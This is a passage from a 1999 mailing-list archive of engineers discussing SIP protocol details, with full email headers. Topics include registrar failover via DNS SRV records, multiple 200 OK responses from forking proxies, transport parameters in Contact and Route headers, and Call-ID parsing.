Also as far as the system design is concerned should I not have something like
this  : If I provide a service ( registration ) to a user , do I have have
rights to inform the user that I no longer wish to provide him the service.






Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com> on 08/12/99 09:00:29 PM

Sent by:  Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>


To:   Stephen Sprunk <ssprunk@cisco.com>
cc:   Anoop Tripathi/MW/US/3Com, confctrl@ISI.EDU
Subject:  Re: How does a Registrar inform UA about deregistration?






Stephen Sprunk wrote:
>
> A pure primary/secondary scenario is just an edge case of the SRV (ie
> DNS-based) system I described.  When the primary is going to shut down, it
> flushes its registrations/state to the secondary server, repoints the SRV
> record, and redirects subsequent requests (due to cached DNS) to the
> secondary.  After a safe period, you perform maintenance on the primary.
>
> This prevents the UA from having to know anything about which server(s) are
> up or down at any given time; just use DNS.
>
> How else were you planning on dealing with active calls with your stateful
> proxy?  Even if you could notify a UA that you were unregistering it, you
> still have to stay up until all the active calls are completed, no?

Yes, it would have to stay up. But, thats the least of your worries. You
MUST change the DNS SRV record to bring a server down and swap in a
backup. Here's why:

1. There will be hosts that aren't currently registered at all that will
come up later. These may still be configured to use the old server. You
need to change the DNS SRV record so that these folks pull in the new
address. If you are using multicast registrations, its not an issue.
2. The bigger problem is not UA's, but other proxies. They will
generally do a DNS SRV lookup to resolve URI's to the address of the
server. You can't inform these proxies of the change, since you don't
even know who they are. The only thing you can do is change the SRV
record. So, if you're changing it, no need to tell the UA's either
(presuming they are configured to register at a hostname and not an IP
address)

Also, in a SIP server with 10,000 registered users, sending 10,000
messages out to tell people to change servers seems a bit troublesome.

Of course, with the SRV change, you'll need to wait a bit until
everyones caches expire. As Steven has pointed out, the primary can
redirect requests anyway (remember any request can be redirected, even
registers). Thats a nice side effect of a generic request-response
model.

An even easier solution is if the backup is on the same LAN, don't even
change IP addresses. Transfer over the state, switch one off and the
other back on right away. You might want to flush ARP caches first,
though..

-Jonathan R.
--
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen






From confctrl-owner  Fri Aug 13 08:15:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA27991
	for confctrl-outgoing; Fri, 13 Aug 1999 08:15:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA27978
	for <confctrl@zephyr.isi.edu>; Fri, 13 Aug 1999 08:15:05 -0700 (PDT)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA18869
	for <confctrl@ISI.EDU>; Fri, 13 Aug 1999 08:15:02 -0700 (PDT)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com Corporation)
	id KAA09091; Fri, 13 Aug 1999 10:16:17 -0500 (CDT)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.4  (830.2 3-23-1999))  id 862567CC.00543C03 ; Fri, 13 Aug 1999 10:20:03 -0500
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "Jacek Grabiec" <Jacek_Grabiec@mw.3com.com>
To: Anders Bo Kristensen <bo@hplb.hpl.hp.com>
cc: confctrl@ISI.EDU, Henning Schulzrinne <hgs@cs.columbia.edu>,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
Message-ID: <862567CC.005439C7.00@mwgate02.mw.3com.com>
Date: Fri, 13 Aug 1999 10:20:29 -0500
Subject: where can I get "Caller preferences draft" from?
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




   Anders Bo Kristensen wrote:

     Henning Schulzrinne wrote:
     >
     > archow@hss.hns.com wrote:
     > >
     > > also for guys who are actually trying to use a lex tool, some
     hyperlinked
     > > version of the complete grammar would be of great help - I have a
     nearly
     > > complete linked version (some missing tokens which I did not find are
     not
     > > linked) - so if anyone wants it for ease of reference, feel free to
     take it
     > > from me :-) (altho it needs more work ;)
     >
     > I'm sure it would be of general use. If you send it to me, I'll put it
     > on the SIP web page.

     Also, it would be useful to have a version of the grammar which allows
     for the changes proposed by Henning and Jonathan in their caller
     preferences draft. There are a few discrepancies between which
     components of Contacts and sip-addrs etc. has to be present.

where could I get this "caller preferences draft" referred above from?
regards, Jacek G.



From confctrl-owner  Fri Aug 13 08:22:06 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA28205
	for confctrl-outgoing; Fri, 13 Aug 1999 08:22:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA28200
	for <confctrl@zephyr.isi.edu>; Fri, 13 Aug 1999 08:22:05 -0700 (PDT)
Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA19550
	for <confctrl@ISI.EDU>; Fri, 13 Aug 1999 08:22:04 -0700 (PDT)
Received: (qmail 1774 invoked from network); 13 Aug 1999 15:22:03 -0000
Received: from unknown (HELO Adoyle) (@216.181.56.35)
  by mailserv2.iuinc.com with SMTP; 13 Aug 1999 15:22:03 -0000
From: "Alex Doyle" <alex@broadsoft.com>
To: "Confctrl" <confctrl@ISI.EDU>
Subject: Multiple 200 responses?
Date: Fri, 13 Aug 1999 11:20:08 -0400
Message-ID: <006a01bee59f$53c87740$c402a8c0@Adoyle.broadsoft.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_006B_01BEE57D.CCB6D740"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_006B_01BEE57D.CCB6D740
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Section 10.3 (TCP) of the spec states ".....there are exceptional
circumstances, where, for example, multiple 200 responses can be generated."

Can anyone give me a real world example (besides client error) where this
might happen?  Should an originating SIP client be able to receive a 200 OK,
use its SDP data, then receive a second 200 OK, and then update to use the
second response's SDP data?

Cheers,
Alex
alex@broadsoft.com



------=_NextPart_000_006B_01BEE57D.CCB6D740
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.2106.6"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><SPAN class=3D739521515-13081999><FONT color=3D#000000 face=3DArial =

size=3D2>Section 10.3 (TCP) of the spec states &quot;.....there are =
exceptional=20
circumstances, where, for example, multiple 200 responses can be=20
generated.&quot;</FONT></SPAN></DIV>
<DIV><SPAN class=3D739521515-13081999><FONT color=3D#000000 face=3DArial =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D739521515-13081999><FONT color=3D#000000 face=3DArial =
size=3D2>Can=20
anyone give me a real world example (besides client error) where this =
might=20
happen?&nbsp; Should an originating SIP client be able to receive a 200 =
OK, use=20
its SDP data, then receive a second 200 OK, and then update to use the =
second=20
response's SDP data?</FONT></SPAN></DIV>
<DIV><SPAN class=3D739521515-13081999><FONT color=3D#000000 face=3DArial =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D739521515-13081999><FONT color=3D#000000 face=3DArial =

size=3D2>Cheers,<BR>Alex</FONT></SPAN></DIV>
<DIV><SPAN class=3D739521515-13081999><FONT color=3D#000000 face=3DArial =
size=3D2><A=20
href=3D"mailto:alex@broadsoft.com">alex@broadsoft.com</A></FONT></SPAN></=
DIV>
<DIV><SPAN class=3D739521515-13081999><FONT color=3D#000000 face=3DArial =

size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D739521515-13081999><FONT color=3D#000000 face=3DArial =

size=3D2></FONT></SPAN>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_006B_01BEE57D.CCB6D740--


From confctrl-owner  Fri Aug 13 09:16:50 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA00796
	for confctrl-outgoing; Fri, 13 Aug 1999 09:16:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA00791
	for <confctrl@zephyr.isi.edu>; Fri, 13 Aug 1999 09:16:48 -0700 (PDT)
Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA24677
	for <confctrl@ISI.EDU>; Fri, 13 Aug 1999 09:16:48 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id MAA22274;
	Fri, 13 Aug 1999 12:16:12 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id RAA21067;
	Fri, 13 Aug 1999 17:16:43 +0100 (BST)
Message-ID: <37B44503.EB4C4DFE@hplb.hpl.hp.com>
Date: Fri, 13 Aug 1999 17:17:07 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jacek Grabiec <Jacek_Grabiec@mw.3com.com>
CC: confctrl@ISI.EDU
Subject: Re: where can I get "Caller preferences draft" from?
References: <862567CC.005439C7.00@mwgate02.mw.3com.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Jacek Grabiec wrote:
> 
>    Anders Kristensen wrote:
> 
>      Also, it would be useful to have a version of the grammar which allows
>      for the changes proposed by Henning and Jonathan in their caller
>      preferences draft. There are a few discrepancies between which
>      components of Contacts and sip-addrs etc. has to be present.
> 
> where could I get this "caller preferences draft" referred above from?
> regards, Jacek G.

http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-caller-00.txt

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Fri Aug 13 12:45:37 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA09821
	for confctrl-outgoing; Fri, 13 Aug 1999 12:45:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA09816
	for <confctrl@zephyr.isi.edu>; Fri, 13 Aug 1999 12:45:36 -0700 (PDT)
Received: from smtp1-alterdial.uu.net (smtp1-alterdial.uu.net [192.48.96.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA16626
	for <confctrl@ISI.EDU>; Fri, 13 Aug 1999 12:45:35 -0700 (PDT)
Received: from dynamicsoft.com by smtp1-alterdial.uu.net with ESMTP 
	(peer crosschecked as: [63.72.186.10])
	id QQhcdb15077
	for <confctrl@ISI.EDU>; Fri, 13 Aug 1999 19:45:34 GMT
Message-ID: <37B475DC.4D752F34@dynamicsoft.com>
Date: Fri, 13 Aug 1999 15:45:32 -0400
From: Vipul Patel <vpatel@dynamicsoft.com>
X-Mailer: Mozilla 4.6 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: transport parameter in Contact SIP header
Content-Type: multipart/alternative;
 boundary="------------94D6C4207A235C669B902FD5"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------94D6C4207A235C669B902FD5
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


I have a question on the transport parameter in the Contact SIP header.
Let's take the following example:

Client A send an INVITE to Client B through proxy P via UDP. If B
inserts Contact header in 200 OK with transport=TCP. Should A send the
ACK to B via TCP? If yes, then let's say P is a firewall proxy and
inserted Record-Route header. In this case should the ACK from A to P go
via UDP and through P to B via TCP or TCP throughout.

Another doubt I have is, since the Route and Record-Route headers
contain globally reachable Request-URIs (section 6.29 of rfc 2543), and
according to section 2 of rfc 2543, transport parameter cannot be used
in Request-URI, should we ommit the transport parameter from the Contact
header (if present), before attaching the Contact URL at the end of the
Route element list?

Thank you,
Vipul.

--

Vipul J. Patel
dynamicsoft
200 Executive Drive
West Orange, NJ 07052
mailto:vpatel@dynamicsoft.com

Office:         + 1 732.741.7244
FAX:            + 1 732.741.4778
www:            http://www.dynamicsoft.com



--------------94D6C4207A235C669B902FD5
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;
<br>I have a question on the transport parameter in the Contact SIP header.
Let's take the following example:
<p>Client A send an INVITE to Client B through proxy P via UDP. If B inserts
Contact header in 200 OK with transport=TCP. Should A send the ACK to B
via TCP? If yes, then let's say P is a firewall proxy and inserted Record-Route
header. In this case should the ACK from A to P go via UDP and through
P to B via TCP or TCP throughout.
<p>Another doubt I have is, since the Route and Record-Route headers contain
globally reachable Request-URIs (section 6.29 of rfc 2543), and according
to section 2 of rfc 2543, transport parameter cannot be used in Request-URI,
should we ommit the transport parameter from the Contact header (if present),
before attaching the Contact URL at the end of the Route element list?
<p>Thank you,
<br>Vipul.
<pre>--&nbsp;

Vipul J. Patel
dynamicsoft
200 Executive Drive
West Orange, NJ 07052
<A HREF="mailto:vpatel@dynamicsoft.com">mailto:vpatel@dynamicsoft.com</A>

Office:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + 1 732.741.7244
FAX:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + 1 732.741.4778
www:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <A HREF="http://www.dynamicsoft.com">http://www.dynamicsoft.com</A></pre>
&nbsp;</html>

--------------94D6C4207A235C669B902FD5--


From confctrl-owner  Fri Aug 13 13:06:10 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA10661
	for confctrl-outgoing; Fri, 13 Aug 1999 13:06:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA10656
	for <confctrl@zephyr.isi.edu>; Fri, 13 Aug 1999 13:06:08 -0700 (PDT)
Received: from smtp-out1.bellatlantic.net (smtp-out1.bellatlantic.net [199.45.39.156])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA18241
	for <confctrl@ISI.EDU>; Fri, 13 Aug 1999 13:06:05 -0700 (PDT)
Received: from cs.columbia.edu (client-151-198-134-7.bellatlantic.net [151.198.134.7])
	by smtp-out1.bellatlantic.net (8.9.1/8.9.1) with ESMTP id QAA15378;
	Fri, 13 Aug 1999 16:02:01 -0400 (EDT)
Message-ID: <37B4611A.8451C26F@cs.columbia.edu>
Date: Fri, 13 Aug 1999 14:16:58 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Stephen Sprunk <ssprunk@cisco.com>,
        Anoop Tripathi <Anoop_Tripathi@mw.3com.com>, confctrl@ISI.EDU
Subject: Re: How does a Registrar inform UA about deregistration?
References: <862567CB.0068D148.00@mwgate02.mw.3com.com> <032a01bee51b$52f1ab40$672544ab@cisco.com> <37B37C3D.D3CAE74A@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> 
> Yes, it would have to stay up. But, thats the least of your worries. You
> MUST change the DNS SRV record to bring a server down and swap in a
> backup. Here's why:

I would modify this to SHOULD :-), since things will work, albeit with
delays, even if the SRV record wasn't changed. The client or proxy will
simply try the servers in order, until it finds one that works. If the
server stays up, but refuses connections on the server port, this will
roughly add one retransmission delay for UDP and one round-trip for TCP
for registrations and proxy operations. (It's slower for UDP since the
ECONNREFUSED will appear on the second transmission attempt for the
connected UDP socket.)

One additional feature that is helpful in server-change situtations is
third-party registration. The old server can simply do a third-party
registration for all of its current registrations before it passes the
baton to its vacation substitution. No new protocol or other mechanisms
are required.

H.



From confctrl-owner  Fri Aug 13 14:11:51 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA13076
	for confctrl-outgoing; Fri, 13 Aug 1999 14:11:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA13071
	for <confctrl@zephyr.isi.edu>; Fri, 13 Aug 1999 14:11:49 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA25135
	for <confctrl@ISI.EDU>; Fri, 13 Aug 1999 14:11:48 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4u.ericy.com [208.238.116.99])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id QAA27735;
	Fri, 13 Aug 1999 16:11:14 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id QAA15907;
	Fri, 13 Aug 1999 16:11:14 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id QAA04583; Fri, 13 Aug 1999 16:11:12 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id QAA05270;
	Fri, 13 Aug 1999 16:11:11 -0500 (CDT)
Message-Id: <199908132111.QAA05270@b04a24.exu.ericsson.se>
Subject: Re: Multiple 200 responses?
To: alex@broadsoft.com (Alex Doyle)
Date: Fri, 13 Aug 1999 16:11:11 -0500 (CDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <006a01bee59f$53c87740$c402a8c0@Adoyle.broadsoft.com> from "Alex Doyle" at Aug 13, 99 11:20:08 am
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>Section 10.3 (TCP) of the spec states ".....there are exceptional
>circumstances, where, for example, multiple 200 responses can be generated."
>
>Can anyone give me a real world example (besides client error) where this
>might happen?  

I'll give two. By the way, when I say "client" below, I'm referring 
to a UAS/UAC node.

---------------------------------------------------------------------------
Example 1:

Client A sends an INVITE to a forking proxy; it forks the INVITE
to Clients B and C. Client B answers at about the same time as C.
Client B's 200 arrives at the proxy first, so the proxy sends a CANCEL
to Client C (who has already sent his INVITE 200 response). The
proxy forwards Client B's 200 OK to Client A.

Now, when Client C's INVITE 200 OK hits the proxy, what is the
proxy to do? For a variety of reasons, it is most sensible to
forward this 200 to Client A, since Client A is the only entity
that can tear down (or do anything else appropriate to) the session.

Note that Client C will not change session state upon receipt of the
proxy's CANCEL, since he has already sent an INVITE 200.

So Client A has received a 200 OK from *both* Clients B and C.
Both clients think they have a valid session with Client A.

How to handle this?  I'd say that it would be perfectly acceptable 
to send a BYE to the second 200 response. I've discussed this exact 
situation with both Jonathan and Henning, and they both seem to 
think it's a problem, but no solution has been proposed yet...

(It gets even worse if you get two final responses, with the
first one being *600* class, and the second one being *200*
class.)
---------------------------------------------------------------------------
Example 2:

Client A sends a request using TCP to Client B through a proxy.
The proxy contacts Client B using UDP. Client B sends a 200 response
to Client A through the proxy; the 200 response contains a Contact
header pointing to Client B (and, to stave off any arguments, let's say
the contact field explicitly says "transport=udp"). Client A sends
an ACK to Client B using UDP; this ACK is lost in the network. Client
B will then, at some point, retransmit the 200 response.

This 200 response should be identical to the first one (including
SDP), so your question of which SDP to use becomes a moot point.
If they are different than each other, I'd say you'd be perfectly
justified in arbitrarily choosing to use one over the other, since
the other side is exhibiting illegal behavior.

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Fri Aug 13 14:35:22 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA14041
	for confctrl-outgoing; Fri, 13 Aug 1999 14:35:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA14036
	for <confctrl@zephyr.isi.edu>; Fri, 13 Aug 1999 14:35:20 -0700 (PDT)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA27393
	for <confctrl@ISI.EDU>; Fri, 13 Aug 1999 14:35:19 -0700 (PDT)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com Corporation)
	id QAA28744; Fri, 13 Aug 1999 16:39:55 -0500 (CDT)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.4  (830.2 3-23-1999))  id 862567CC.00775A3E ; Fri, 13 Aug 1999 16:43:38 -0500
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "John Poplett" <John_Poplett@mw.3com.com>
To: confctrl@ISI.EDU
Message-ID: <862567CC.007677EF.00@mwgate02.mw.3com.com>
Date: Fri, 13 Aug 1999 15:10:08 -0500
Subject: Decoding Call-ID
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Since the local-id portion of a Call-ID can have "@" characters in it, does a
scanner have to search for the
rightmost "@" to properly identify the end of the local-id or how is this
ambiguity resolved? (A similar case of ambiguity exists
for SIP URL headers.)

Call-ID   =  ( "Call-ID" | "i" ) ":" local-id "@" host
local-id  =  1*uric

uric            = reserved | unreserved | escaped
reserved        = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "+" | "$" | ","

Thanks,

John Poplett
john_poplett@mw.3com.com
3Com Corp.



From confctrl-owner  Fri Aug 13 16:10:28 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA17325
	for confctrl-outgoing; Fri, 13 Aug 1999 16:10:28 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA17320
	for <confctrl@zephyr.isi.edu>; Fri, 13 Aug 1999 16:10:26 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id QAA08664
	for <confctrl@isi.edu>; Fri, 13 Aug 1999 16:10:25 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri Aug 13 19:08:48 EDT 1999
Received: from dnrc.bell-labs.com (baggins.dnrc.bell-labs.com [135.180.130.136])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id TAA23046;
	Fri, 13 Aug 1999 19:09:11 -0400 (EDT)
Message-ID: <37B4A47A.B7FAD83C@dnrc.bell-labs.com>
Date: Fri, 13 Aug 1999 19:04:26 -0400
From: Igor Slepchin <igors@dnrc.bell-labs.com>
Reply-To: igors@bell-labs.com
Organization: Lucent / Bell Labs, USA
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: John Poplett <John_Poplett@mw.3com.com>
CC: confctrl@ISI.EDU
Subject: Re: Decoding Call-ID
References: <862567CC.007677EF.00@mwgate02.mw.3com.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The BNF for Call-ID is intended as a suggestion for choosing globally
unique values and should be parsed but treated as an unstructured string
instead. This is mentioned in Henning's SIP bug compendium at
http://www.cs.columbia.edu/~hgs/sip/notes.html.

This ambiguity does not exist in SIP URLs as the BNF prohibits the use
of reserved characters ("@", "?", ";" in particular) in userinfo and
hostport productions.

---
Igor Slepchin

John Poplett wrote:
> 
> Since the local-id portion of a Call-ID can have "@" characters in it, does a
> scanner have to search for the
> rightmost "@" to properly identify the end of the local-id or how is this
> ambiguity resolved? (A similar case of ambiguity exists
> for SIP URL headers.)
> 
> Call-ID   =  ( "Call-ID" | "i" ) ":" local-id "@" host
> local-id  =  1*uric
> 
> uric            = reserved | unreserved | escaped
> reserved        = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "+" | "$" | ","
> 
> Thanks,
> 
> John Poplett
> john_poplett@mw.3com.com
> 3Com Corp.


From confctrl-owner  Sat Aug 14 14:16:28 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA25844
	for confctrl-outgoing; Sat, 14 Aug 1999 14:16:28 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA25839
	for <confctrl@zephyr.isi.edu>; Sat, 14 Aug 1999 14:16:27 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA24341
	for <confctrl@isi.edu>; Sat, 14 Aug 1999 14:16:26 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Sat Aug 14 17:15:27 EDT 1999
Received: from bell-labs.com (IDENT:jdrosen@[135.17.253.29])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id RAA00641;
	Sat, 14 Aug 1999 17:15:48 -0400 (EDT)
Message-ID: <37B5DCCE.1E4D62AF@bell-labs.com>
Date: Sat, 14 Aug 1999 17:17:02 -0400
From: Jonathan Rosenberg <jdrosen@bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Vipul Patel <vpatel@dynamicsoft.com>
CC: confctrl@ISI.EDU
Subject: Re: transport parameter in Contact SIP header
References: <37B475DC.4D752F34@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Vipul Patel wrote:
> 
> 
> I have a question on the transport parameter in the Contact SIP
> header. Let's take the following example:
> 
> Client A send an INVITE to Client B through proxy P via UDP. If B
> inserts Contact header in 200 OK with transport=TCP. Should A send the
> ACK to B via TCP?

Yes.

 If yes, then let's say P is a firewall proxy and
> inserted Record-Route header. In this case should the ACK from A to P
> go via UDP and through P to B via TCP or TCP throughout.

If the Record Route from P says nothing about transport, its the
default, which is UDP. In this case, A sends the packet to P using UDP,
and P sends the packet to B using TCP. Treat the contact as just another
route entry; only the hop before it uses the URI.


> 
> Another doubt I have is, since the Route and Record-Route headers
> contain globally reachable Request-URIs (section 6.29 of rfc 2543),
> and according to section 2 of rfc 2543, transport parameter cannot be
> used in Request-URI, should we ommit the transport parameter from the
> Contact header (if present), before attaching the Contact URL at the
> end of the Route element list?

No. Include the transport parameter in the Route entry. If its not
there, the previous hop won't know to use TCP. Lets take your case
above. When P gets the request, it looks at the Route header, which has
a transport=tcp parameter in it. As this is TCP, it opens a TCP
connection. Now, the question is, what goes in the request URI? As has
been mentioned before on the list (I believe), the request URI should
allow any parameters. The question is: when do you need them, and when
do you not? If the host you are sending the request to is the one
identified in the URI, the transport, maddr, ttl and other parameters
are NOT needed. So, in the case above, if you send the request to B
using TCP, there is no need to include the transport=tcp parameter in
the request URI. If, however, you are sending the request to some other
proxy (which will, in turn, send it to the address in the request URI),
then you need to include the transport parameters. 

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Sat Aug 14 14:26:35 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
